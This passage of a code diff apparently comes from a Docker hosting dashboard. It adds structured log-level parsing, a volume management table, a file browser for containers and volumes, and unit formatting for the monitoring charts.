<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
|
||||
Binary file — use Download instead
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex-1 overflow-auto rounded-lg border">
|
||||
<CodeEditor
|
||||
lineWrapping
|
||||
value={editorContent}
|
||||
onChange={(value) => setEditorContent(value)}
|
||||
wrapperClassName="h-full font-mono"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
|
||||
.filter((log) => log !== null);
|
||||
}
|
||||
|
||||
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
|
||||
trace: "debug",
|
||||
debug: "debug",
|
||||
info: "info",
|
||||
information: "info",
|
||||
notice: "info",
|
||||
warn: "warning",
|
||||
warning: "warning",
|
||||
error: "error",
|
||||
err: "error",
|
||||
fatal: "error",
|
||||
critical: "error",
|
||||
panic: "error",
|
||||
alert: "error",
|
||||
emergency: "error",
|
||||
};
|
||||
|
||||
const numericLevelToType = (level: number): LogType => {
|
||||
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
|
||||
if (level >= 50) return "error";
|
||||
if (level >= 40) return "warning";
|
||||
if (level >= 30) return "info";
|
||||
if (level >= 10) return "debug";
|
||||
// syslog/GELF scale: 0=emergency ... 7=debug
|
||||
if (level <= 3) return "error";
|
||||
if (level === 4) return "warning";
|
||||
if (level <= 6) return "info";
|
||||
return "debug";
|
||||
};
|
||||
|
||||
// Extract the log level explicitly declared by structured loggers
|
||||
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
|
||||
const getExplicitLevelType = (message: string): LogType | null => {
|
||||
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
|
||||
const jsonStringMatch = message.match(
|
||||
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
|
||||
);
|
||||
if (jsonStringMatch?.[1]) {
|
||||
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
|
||||
}
|
||||
|
||||
// JSON numeric levels: {"level":50}
|
||||
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
|
||||
if (jsonNumericMatch?.[1]) {
|
||||
return numericLevelToType(Number(jsonNumericMatch[1]));
|
||||
}
|
||||
|
||||
// logfmt: level=error
|
||||
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
|
||||
if (logfmtMatch?.[1]) {
|
||||
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
|
||||
}
|
||||
|
||||
return null;
|
||||
};
|
||||
|
||||
// Detect log type based on message content
|
||||
export const getLogType = (message: string): LogStyle => {
|
||||
// A level explicitly declared by the logger wins over any inference
|
||||
const explicitType = getExplicitLevelType(message);
|
||||
if (explicitType) return LOG_STYLES[explicitType];
|
||||
|
||||
// Detect HTTP statusCode
|
||||
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
|
||||
|
||||
@@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
|
||||
return LOG_STYLES.info;
|
||||
}
|
||||
|
||||
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
|
||||
// "failed: false") must not trigger the error keyword patterns below
|
||||
const nonErrorColonPairs =
|
||||
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
|
||||
const nonErrorLogfmtPairs =
|
||||
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
|
||||
const errorScope = lowerMessage
|
||||
.replace(nonErrorColonPairs, "")
|
||||
.replace(nonErrorLogfmtPairs, "");
|
||||
|
||||
if (
|
||||
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
|
||||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
|
||||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
|
||||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
|
||||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
|
||||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
|
||||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
|
||||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
|
||||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
|
||||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
|
||||
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
|
||||
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
|
||||
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
|
||||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
|
||||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
|
||||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
|
||||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
|
||||
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
|
||||
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
|
||||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
|
||||
) {
|
||||
return LOG_STYLES.error;
|
||||
}
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { ShowContainerConfig } from "../config/show-container-config";
|
||||
import { FilesExplorerModal } from "../files/files-explorer-modal";
|
||||
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
|
||||
import { ShowContainerMounts } from "../mounts/show-container-mounts";
|
||||
import { ShowContainerNetworks } from "../networks/show-container-networks";
|
||||
@@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
|
||||
>
|
||||
Terminal
|
||||
</DockerTerminalModal>
|
||||
<FilesExplorerModal
|
||||
containerId={container.containerId}
|
||||
serverId={container.serverId || undefined}
|
||||
>
|
||||
Browse Files
|
||||
</FilesExplorerModal>
|
||||
<UploadFileModal
|
||||
containerId={container.containerId}
|
||||
serverId={container.serverId || undefined}
|
||||
|
||||
@@ -5,6 +5,7 @@ import "@xterm/xterm/css/xterm.css";
|
||||
import { AttachAddon } from "@xterm/addon-attach";
|
||||
import { useTheme } from "next-themes";
|
||||
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
|
||||
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
|
||||
|
||||
interface Props {
|
||||
id: string;
|
||||
@@ -45,6 +46,7 @@ export const DockerTerminal: React.FC<Props> = ({
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
const addonAttach = new AttachAddon(ws);
|
||||
fixMacOsAltKeys(term);
|
||||
// @ts-ignore
|
||||
term.open(termRef.current);
|
||||
// @ts-ignore
|
||||
|
||||
@@ -0,0 +1,434 @@
|
||||
"use client";
|
||||
|
||||
import {
|
||||
type ColumnDef,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
type PaginationState,
|
||||
type SortingState,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
ArrowUpDown,
|
||||
Eye,
|
||||
FolderOpen,
|
||||
HardDrive,
|
||||
Loader2,
|
||||
Trash2,
|
||||
} from "lucide-react";
|
||||
import { useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
TableCell,
|
||||
TableHead,
|
||||
TableHeader,
|
||||
TableRow,
|
||||
} from "@/components/ui/table";
|
||||
import type { AppRouter } from "@/server/api/root";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type VolumeRow =
|
||||
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
|
||||
|
||||
interface Props {
|
||||
serverId?: string;
|
||||
}
|
||||
|
||||
const SIZE_UNITS: Record<string, number> = {
|
||||
b: 1,
|
||||
kb: 1e3,
|
||||
mb: 1e6,
|
||||
gb: 1e9,
|
||||
tb: 1e12,
|
||||
};
|
||||
|
||||
const parseSize = (size?: string) => {
|
||||
if (!size) return -1;
|
||||
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
|
||||
if (!match?.[1] || !match[2]) return -1;
|
||||
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
|
||||
};
|
||||
|
||||
const SortableHeader = ({
|
||||
column,
|
||||
title,
|
||||
}: {
|
||||
column: {
|
||||
getIsSorted: () => false | "asc" | "desc";
|
||||
toggleSorting: (asc: boolean) => void;
|
||||
};
|
||||
title: string;
|
||||
}) => (
|
||||
<Button
|
||||
variant="ghost"
|
||||
className="-ml-3 h-8"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
{title}
|
||||
<ArrowUpDown className="ml-2 size-4" />
|
||||
</Button>
|
||||
);
|
||||
|
||||
const ShowVolumeConfig = ({
|
||||
volumeName,
|
||||
serverId,
|
||||
}: {
|
||||
volumeName: string;
|
||||
serverId?: string;
|
||||
}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
|
||||
{ volumeName, serverId },
|
||||
{ enabled: open },
|
||||
);
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
|
||||
<Eye className="size-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Volume Config</DialogTitle>
|
||||
<DialogDescription>
|
||||
docker volume inspect output for "{volumeName}"
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{error ? (
|
||||
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||
) : isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
|
||||
<code>
|
||||
<pre className="whitespace-pre-wrap wrap-break-word">
|
||||
<CodeEditor
|
||||
language="json"
|
||||
lineWrapping
|
||||
lineNumbers={false}
|
||||
readOnly
|
||||
value={JSON.stringify(data, null, 2)}
|
||||
/>
|
||||
</pre>
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
|
||||
export const ShowVolumes = ({ serverId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [sorting, setSorting] = useState<SortingState>([
|
||||
{ id: "Name", desc: false },
|
||||
]);
|
||||
const [globalFilter, setGlobalFilter] = useState("");
|
||||
const [pagination, setPagination] = useState<PaginationState>({
|
||||
pageIndex: 0,
|
||||
pageSize: 10,
|
||||
});
|
||||
|
||||
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
|
||||
serverId,
|
||||
});
|
||||
const { data: sizes, isLoading: isLoadingSizes } =
|
||||
api.dockerVolume.getVolumesSize.useQuery({ serverId });
|
||||
|
||||
const sizeByName = useMemo(
|
||||
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
|
||||
[sizes],
|
||||
);
|
||||
const { mutateAsync: removeVolume } =
|
||||
api.dockerVolume.removeVolume.useMutation();
|
||||
|
||||
const filteredData = useMemo(() => {
|
||||
const list = volumes ?? [];
|
||||
if (!globalFilter.trim()) {
|
||||
return list;
|
||||
}
|
||||
const query = globalFilter.toLowerCase();
|
||||
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
|
||||
}, [volumes, globalFilter]);
|
||||
|
||||
const columns = useMemo<ColumnDef<VolumeRow>[]>(
|
||||
() => [
|
||||
{
|
||||
accessorKey: "Name",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Name" />,
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[280px] truncate font-medium"
|
||||
title={row.original.Name}
|
||||
>
|
||||
{row.original.Name}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Driver",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Driver" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<Badge variant="outline">{row.original.Driver}</Badge>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Scope",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Scope" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<span className="text-muted-foreground">{row.original.Scope}</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "Size",
|
||||
header: ({ column }) => <SortableHeader column={column} title="Size" />,
|
||||
sortingFn: (a, b) =>
|
||||
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
|
||||
parseSize(sizeByName.get(b.original.Name) ?? undefined),
|
||||
cell: ({ row }) =>
|
||||
isLoadingSizes ? (
|
||||
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
|
||||
) : (
|
||||
<span className="text-muted-foreground">
|
||||
{sizeByName.get(row.original.Name) ?? "-"}
|
||||
</span>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "Mountpoint",
|
||||
header: ({ column }) => (
|
||||
<SortableHeader column={column} title="Mountpoint" />
|
||||
),
|
||||
cell: ({ row }) => (
|
||||
<div
|
||||
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
|
||||
title={row.original.Mountpoint}
|
||||
>
|
||||
{row.original.Mountpoint}
|
||||
</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
enableSorting: false,
|
||||
header: () => <div className="text-right">Actions</div>,
|
||||
cell: ({ row }) => (
|
||||
<div className="flex items-center justify-end gap-3">
|
||||
<FilesExplorerModal
|
||||
volumeName={row.original.Name}
|
||||
serverId={serverId}
|
||||
asDropdownItem={false}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
aria-label="Browse volume files"
|
||||
>
|
||||
<FolderOpen className="size-4" />
|
||||
</Button>
|
||||
</FilesExplorerModal>
|
||||
<ShowVolumeConfig
|
||||
volumeName={row.original.Name}
|
||||
serverId={serverId}
|
||||
/>
|
||||
<DialogAction
|
||||
title="Delete volume"
|
||||
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
|
||||
onClick={async () => {
|
||||
try {
|
||||
await removeVolume({
|
||||
volumeName: row.original.Name,
|
||||
serverId,
|
||||
});
|
||||
toast.success("Volume deleted");
|
||||
await utils.dockerVolume.getVolumes.invalidate();
|
||||
} catch (error) {
|
||||
toast.error("Error deleting volume", {
|
||||
description:
|
||||
error instanceof Error ? error.message : "Unknown error",
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
|
||||
<Trash2 className="size-4 text-destructive" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
),
|
||||
},
|
||||
],
|
||||
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
|
||||
);
|
||||
|
||||
const table = useReactTable({
|
||||
data: filteredData,
|
||||
columns,
|
||||
state: {
|
||||
sorting,
|
||||
pagination,
|
||||
},
|
||||
onSortingChange: setSorting,
|
||||
onPaginationChange: setPagination,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||
<div className="rounded-xl bg-background shadow-md ">
|
||||
<CardHeader className="">
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<HardDrive className="size-6 text-muted-foreground self-center" />
|
||||
Volumes
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Manage the Docker volumes of the selected server.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
{isLoading ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||
<span>Loading...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !volumes?.length ? (
|
||||
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||
<div className="rounded-full bg-muted p-4">
|
||||
<HardDrive className="size-10 text-muted-foreground" />
|
||||
</div>
|
||||
<div className="space-y-1 text-center">
|
||||
<p className="text-sm font-medium">No volumes found</p>
|
||||
<p className="max-w-sm text-sm text-muted-foreground">
|
||||
Docker volumes created on this server will appear here.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<div className="flex flex-wrap items-center gap-2">
|
||||
<Input
|
||||
placeholder="Search by name..."
|
||||
value={globalFilter}
|
||||
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||
className="max-w-xs"
|
||||
/>
|
||||
</div>
|
||||
<div className="rounded-md border overflow-x-auto">
|
||||
<Table>
|
||||
<TableHeader>
|
||||
{table.getHeaderGroups().map((headerGroup) => (
|
||||
<TableRow key={headerGroup.id}>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<TableHead key={header.id}>
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext(),
|
||||
)}
|
||||
</TableHead>
|
||||
))}
|
||||
</TableRow>
|
||||
))}
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
{table.getRowModel().rows?.length ? (
|
||||
table.getRowModel().rows.map((row) => (
|
||||
<TableRow key={row.id}>
|
||||
{row.getVisibleCells().map((cell) => (
|
||||
<TableCell key={cell.id}>
|
||||
{flexRender(
|
||||
cell.column.columnDef.cell,
|
||||
cell.getContext(),
|
||||
)}
|
||||
</TableCell>
|
||||
))}
|
||||
</TableRow>
|
||||
))
|
||||
) : (
|
||||
<TableRow>
|
||||
<TableCell
|
||||
colSpan={columns.length}
|
||||
className="h-24 text-center text-muted-foreground"
|
||||
>
|
||||
No volumes match your filters.
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
)}
|
||||
</TableBody>
|
||||
</Table>
|
||||
</div>
|
||||
{table.getPageCount() > 1 && (
|
||||
<div className="flex items-center justify-end gap-4">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||
{table.getPageCount()}
|
||||
</span>
|
||||
<div className="flex gap-2">
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.previousPage()}
|
||||
disabled={!table.getCanPreviousPage()}
|
||||
>
|
||||
Previous
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => table.nextPage()}
|
||||
disabled={!table.getCanNextPage()}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
@@ -1,3 +1,4 @@
|
||||
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||
import { format } from "date-fns";
|
||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||
import {
|
||||
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
const transformedData = accumulativeData.map((item, index) => ({
|
||||
time: item.time,
|
||||
name: `Point ${index + 1}`,
|
||||
readMb: item.value.readMb,
|
||||
writeMb: item.value.writeMb,
|
||||
readMb: toMb(item.value.readMb),
|
||||
writeMb: toMb(item.value.writeMb),
|
||||
}));
|
||||
|
||||
return (
|
||||
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
}}
|
||||
formatter={(value, name) => {
|
||||
const label = name === "readMb" ? "Read" : "Write";
|
||||
return [`${value} MB`, label];
|
||||
return [formatMb(Number(value)), label];
|
||||
}}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="readMb"
|
||||
stroke="var(--color-readMb)"
|
||||
fill="url(#fillBlockRead)"
|
||||
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="writeMb"
|
||||
stroke="var(--color-writeMb)"
|
||||
fill="url(#fillBlockWrite)"
|
||||
|
||||
@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usage"
|
||||
stroke="var(--color-usage)"
|
||||
fill="url(#fillCpu)"
|
||||
|
||||
@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usedGb"
|
||||
stroke="var(--color-usedGb)"
|
||||
fill="url(#fillDiskUsed)"
|
||||
|
||||
@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="usage"
|
||||
stroke="var(--color-usage)"
|
||||
fill="url(#fillMemory)"
|
||||
|
||||
+6
-3
@@ -1,3 +1,4 @@
|
||||
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
|
||||
import { format } from "date-fns";
|
||||
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
|
||||
import {
|
||||
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
const transformedData = accumulativeData.map((item, index) => ({
|
||||
time: item.time,
|
||||
name: `Point ${index + 1}`,
|
||||
inMB: item.value.inputMb,
|
||||
outMB: item.value.outputMb,
|
||||
inMB: toMb(item.value.inputMb),
|
||||
outMB: toMb(item.value.outputMb),
|
||||
}));
|
||||
|
||||
return (
|
||||
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
}}
|
||||
formatter={(value, name) => {
|
||||
const label = name === "inMB" ? "In" : "Out";
|
||||
return [`${value} MB`, label];
|
||||
return [formatMb(Number(value)), label];
|
||||
}}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="inMB"
|
||||
stroke="var(--color-inMB)"
|
||||
fill="url(#fillNetIn)"
|
||||
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
|
||||
/>
|
||||
<Area
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
dataKey="outMB"
|
||||
stroke="var(--color-outMB)"
|
||||
fill="url(#fillNetOut)"
|
||||
|
||||
+3
-2
@@ -1,3 +1,4 @@
|
||||
import { formatMb } from "@dokploy/server/monitoring/units";
|
||||
import { useEffect, useState } from "react";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import { Progress } from "@/components/ui/progress";
|
||||
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
|
||||
<CardContent>
|
||||
<div className="flex flex-col gap-2 w-full">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
|
||||
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
|
||||
</span>
|
||||
<DockerBlockChart accumulativeData={accumulativeData.block} />
|
||||
</div>
|
||||
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
|
||||
<CardContent>
|
||||
<div className="flex flex-col gap-2 w-full">
|
||||
<span className="text-sm text-muted-foreground">
|
||||
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
|
||||
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
|
||||
</span>
|
||||
<DockerNetworkChart accumulativeData={accumulativeData.network} />
|
||||
</div>
|
||||
|
||||
@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
||||
name="Write"
|
||||
dataKey="write"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillWrite)"
|
||||
stroke="hsl(142, 71%, 45%)"
|
||||
strokeWidth={2}
|
||||
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
|
||||
name="Read"
|
||||
dataKey="read"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillRead)"
|
||||
stroke="hsl(217, 91%, 60%)"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
|
||||
name="CPU"
|
||||
dataKey="cpu"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillCPU)"
|
||||
stroke="hsl(var(--chart-1))"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
|
||||
name="Memory"
|
||||
dataKey="memory"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillMemory)"
|
||||
stroke="hsl(var(--chart-2))"
|
||||
strokeWidth={2}
|
||||
|
||||
+2
@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
||||
name="Input"
|
||||
dataKey="input"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillInput)"
|
||||
stroke="hsl(var(--chart-3))"
|
||||
strokeWidth={2}
|
||||
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
|
||||
name="Output"
|
||||
dataKey="output"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillOutput)"
|
||||
stroke="hsl(var(--chart-4))"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
|
||||
name="CPU"
|
||||
dataKey="cpu"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillCPU)"
|
||||
stroke="hsl(var(--chart-1))"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
|
||||
yAxisId="left"
|
||||
dataKey="memUsed"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillMemory)"
|
||||
stroke="hsl(var(--chart-2))"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
||||
name="Network In"
|
||||
dataKey="networkIn"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillNetworkIn)"
|
||||
stroke="hsl(var(--chart-3))"
|
||||
strokeWidth={2}
|
||||
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
|
||||
name="Network Out"
|
||||
dataKey="networkOut"
|
||||
type="monotone"
|
||||
isAnimationActive={false}
|
||||
fill="url(#fillNetworkOut)"
|
||||
stroke="hsl(var(--chart-4))"
|
||||
strokeWidth={2}
|
||||
|
||||
@@ -0,0 +1,347 @@
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useFieldArray, useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
